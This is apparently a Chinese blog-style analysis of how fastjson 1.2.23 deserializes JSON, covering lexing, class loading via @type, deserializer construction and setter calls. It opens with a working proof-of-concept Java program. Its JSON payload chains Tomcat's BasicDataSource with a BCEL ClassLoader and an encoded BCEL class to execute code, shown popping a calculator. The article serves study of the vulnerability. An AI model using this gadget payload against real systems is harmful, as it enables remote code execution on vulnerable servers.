前言
fastjson的漏洞也跟了不少,不过玩来玩去始终眼光都聚焦于checkAutoType方法,对于fastjson框架整体的把握感觉很不够,有一天突然想到一个问题:fastjson反序列化的流程是怎样的?想了半天硬是不知道从哪里说起,于是就下了一番功夫去跟了一下底层源码,于是才有了这篇文章。
在正式开始之前做一点说明,本文基于fastjson1.2.23进行分析,这个版本还不涉及到autoType黑名单。因此,本文主要侧重fastjson反序列化的重要步骤,主要是一些宏观上的流程,希望能通过这篇文章,对fastjson反序列化流程有一个整体上的认识。
下面的分析基于如下代码,代码的执行效果是弹出计算器。
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class FastJsonTest1 {
public static void main(String[] args) {
String json="{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$e5$d5a$i$e4$a5$f8De$r$b0$90$8d$3b$88$h$82$89$R$c5$I$d1$f5P$hR$if$c80$Q$fe$c85$h4$$$fc$A$3f$cax$a7Q$q$b1$8b$de$db$f3$bam$3f$bf$de$3f$A$9c$a3d$c2$40$ceD$k$5b$G$b6$c3Z$e0$d81$R$c7$$$c7$k$c7$3eC$a2$a1$5c$V$5c0D$cb$95$H$86X$d3$7b$92$M$e9$b6r$e5$edt$d4$97$7e$cf$ee$3b$84$Y$N$e1$fc$uS$dd$c0$W$cf7$f6XS$U$c8$60v$bd$a9$_$e4$a5$K$a5$a9$d6L9M$db$RgC$7bf$5bH$c2$e48$b0p$88$o$N$QDX8$c21C$3e$e4k$ca$ab$5duZs$n$c7$81$f2$5c$L$t0i$dco$GCF$ab$i$db$j$d4$3a$fd$a1$U$BC$f6$P$ba$9f$ba$81$g$d1Ts$m$83$d5a$bb$5ci$ff$d3$d4i$ba$9cK$8a$3c$z$af$b1$dd$c0W$ee$a0$ben$b8$f3$3d$n$t$T2$a4$c7D$G$fa$c1$3d$df$W$S$rp$fa$d3pE$c0$c2$a7$d1$beA$a7$oUF5$5e$7d$F$5bP$c3$60$d1$9e$d0$60$94$y$a9$95$b4$a3$ad$40$ee$N$91$5ct$89$d8$e3$L$8c$eb$ea$S$89$85$c6$93$e4$8c$93$s$f4$X$a8$LS$92$g$e5$94b$mKI$9b$84rD$da$i$e9$Y$992$fa$3e$d9oO$3f$V$ac$f9$B$A$A\",\n" +
"}";
json=json.replace("\n","").replace("\t","").replace(" ","");
System.out.println(json);
JSON.parseObject(json);
}
}
接下来,我们在JSON.parseObject
方法上打上断点进行分析,主要的流程可以分为如下几步
词法分析
实际上词法分析是贯穿整个fastjson反序列化的流程的,这里为了方便,把他单独作为一步拿出来,但是希望读者不要被误解。词法分析是贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程的。
首先是JSON.parseObject
方法,它继续调用了JSON.parse
跟进JSON.parse
,JSON.parse
调用了一个重载的方法最终来到下图所示的这里。这里需要解释一下这个方法的参数
- text参数,实际上就是我们需要反序列化的json字符串
- features参数,它定义了fastjson反序列化过程中的一些特性,我们如果不特殊指定的话使用的就是默认特性,比如:允许字段名不使用引号包裹、允许使用单引号代替双引号等特性(具体参考JSON类的static代码块)
然后看到,如果text不为null,就会创建一个parser来解析text
我们直接跟进74行parser.parse
,再经过一些重载方法调用后,来到了这里,看到一个swith-case代码块
这里一下这个swith-case,首先看到switch的变量是lexer.token()
,lexer就是词法分析器,也就是词法分析这个工作的负责人。调用它的token
方法就能够返回上一个解析完毕的token类型,根据不同的token类型这里会选择进入不同的case进行处理。
比如我们这里的token类型是12,对应的是json字符串最开始的{
,进入case12。这里首先创建了一个JSONObject对象,然后将其传入了DefaultJSONParser::parseObject
。
跟进DefaultJSONParser::parseObject
再次获取token,由于我们在两次获取token之间并未调用词法分析器让它继续向下分析,所以这里获取到的token跟上次一样,仍然是12,对应于{
,进入else分支
在这个else里就准备开始干大事了,不断地调用词法分析器lexer让它进行分析。红色注释的部分都是在调用词法分析器。这里应该非常好理解,这个代码的逻辑实际上跟json的语法是互相匹配的。
经过上面的分析,然后看看我们的传入的json,不难知道,这个key字符串实际上就是@type
继续往下看,在274行,判断key是否等于@type
并且是否禁用了特殊key(默认未禁用),条件得到满足,进入if
进入之后275行又调用了词法分析器扫描,从当前字符开始,扫描到下一个引号,得到的ref值就是org.apache.tomcat.dbcp.dbcp.BasicDataSource
然后276行调用TypeUtils.loadClass
进行了类加载,进入下一部分
加载@type指定的类
这里类加载的过程也比较简单,就是通过应用程序类加载器将类进行加载,完全没有任何过滤。
实际上,在后续的版本中就不再是调用TypeUtils.loadClass
。而是调用ParserConfig::checkAutoType
,也是从这里开启了后续众多的黑名单绕过研究。这个不是本文的重点,这里不多说。
创建deserializer
在TypeUtils.loadClass
结束之后,就获取到了@type指定的Class对象,紧接着就调用this.config.getDeserializer
根据Class对象开始获取相应的反序列化器。
跟进this.config.getDeserializer
。先从derializers中尝试获取反序列化器,失败。然后由于type是Class类型(就是@type指定的Class对象),继续调用this.getDeserializer
跟进this.getDeserializer
,这个方法的前半段进行了一系列的尝试获取反序列化器,都没能成功获取。略掉那些步骤,直接进入this.createJavaBeanDeserializer
,准备创建反序列化器
跟进this.createJavaBeanDeserializer
,略掉一些不重要的步骤,直接看475行,调用JavaBeanInfo.build
,准备收集Bean的信息,来进行反序列化。
跟进JavaBeanInfo.build
,这个方法一上来就通过反射获取到了很多对象,包括Field对象、Method对象、Constructor对象。这些对象都是与@type指定的Class相关的,将会参与到后续的反序列化过程。
我们跟进getDefaultConstructor
,这个方法就是获取要反序列化的类的默认构造器,接下来会调用这个构造器来创建要反序列化的对象。在489行获取了所有的构造器,然后494行进行遍历,找出无参构造器直接break,然后由于defaultConstructor!=null
跳过502行的if,函数返回。所以,这个函数的作用简单理解就是在获取无参构造器。
回到JavaBeanInfo.build
,接下来开始遍历methods,就是build方法最开始通过反射获取到的@type指定的类中的public方法
这个for循环实际上就是在找setter方法,通过setter方法,得到对象中的字段名字,然后反射获取Field对象,封装成FieldInfo对象,然后加入到fieldList中。
遍历完methods之后,开始遍历field,将field也封装成FieldInfo
加入到fieldList
,这里由于没有public修饰的字段,var29=0
,载直接跳过
紧接着又开始遍历methods,不过这次找的是getter方法,通过getter方法来获取字段,原理类似,不赘述了
最终,字段信息都获取完毕后,就将fieldList传入JavaBeanInfo
的构造器,开始创建JavaBeanInfo
对象,然后JavaBeanInfo.build
方法就返回了。
接下来函数就开始逐层返回,最终返回到DefaultJSONParser::parseObject
,意味着this.config.getDeserializer
执行完毕,反序列化器获取完毕。
deserializer.deserialize
接下来就开始使用反序列化器来反序列化对象了。deserializer.deserialze
经历若干个重载方法后,来到这里。这里的函数参数type还是@type指定的Class,if条件满足,然后又开始使用词法分析器读入字符进行分析。
deserializer.deserialze
会一边遍历创建deserializer过程中得到的sortedFieldDeserializers
,一边查找json字符串,匹配上就将json字符串中的value设置到对应的字段中。设置的时候会用到反射机制。这里以driverClassLoader
和driverClassName
字段的反序列化为例进行分析
先看driverClassLoader
字段,遍历到driverClassLoader
字段的时候,匹配到json字符串中的driverClassLoader
键,matchField
变量被设置成true
然后由于matchField
变量为true,进入557行的if,调用fieldDeser.parseField
跟进fieldDeser.parseField
,红色字体注释了这个方法中的三个核心步骤。由于这里的driverClassLoader
也是一个复杂对象,那么也同样需要进行反序列化,步骤也是一样的,先创建反序列化器,然后用反序列化器进行反序列化,就不再跟进了。
最后反序列化的到value为com.sun.org.apache.bcel.internal.util.ClassLoader
对象,然后调用setValue
将value设置到对应的字段
跟进setValue
,这里就用到了创建deserializer过程中创建的FieldInfo,还记得之前遍历setter方法生成FieldInfo的过程吗?这里就用到那里的setter方法,通过反射调用setter方法给字段赋值。
再来看看driverClassName
字段的反序列化,加深一下印象。遍历到driverClassName
字段的时候,匹配到json字符串中的driverClassName
键,matchField
变量被设置成true,然后调用fieldDeser.setValue
将json字符串中driverClassName
键对应的值设置到对象的字段中。
这里与前面driverClassLoader
是有些许区别的,driverClassLoader
由于是一个复杂对象,valueParsed=false
进入了559行,需要先反序列化对象再给字段赋值。而这里的driverClassName
是一个String类型的,反序列化较容易,所以直接parse完就赋值了。
跟进fieldDeser.setValue
,同样用到了创建deserializer过程中创建的FieldInfo,通过反射调用setter方法给字段赋值。至此,driverClassName
的赋值就告一段落
等json字符串中的所有的字段都复制完毕后,也就意味着反序列化工作基本结束,对象恢复完毕,deserializer.deserialze
就开始返回,回到DefaultJSONParser::parseObject
中。
随后DefaultJSONParser::parseObject
方法也返回了,逐层返回到JSON::parseObject
。下面还会调用JSON::toJSON
,不过这就不太算反序列化的过程了,分析就到此为止吧。
总结
从宏观角度来看,fastjson反序列化实际上逻辑性还是非常强的。可以分为如下几步
- 获取@type指定的Class对象
- 根据Class对象获取类的信息(主要是字段信息,顺便拿到setter方法,将字段信息都保存到了FieldDeserializer对象中),最终将类信息都存到deserializer(通常是JavaBeanDeserializer)中
- 调用deserializer.deserialize进行反序列化,一边遍历FieldDeserializer数组,一边与json字符串比对,找到对应的就给对应的字段设置值。如果字段是简单类型就直接设置,如果是复杂类型,将递归调用步骤1。
粗略看了一下高版本的fastjson1.2.68,发现代码虽然有所改动,但是整体框架还是没变的,以上三步仍然适用。
参考文章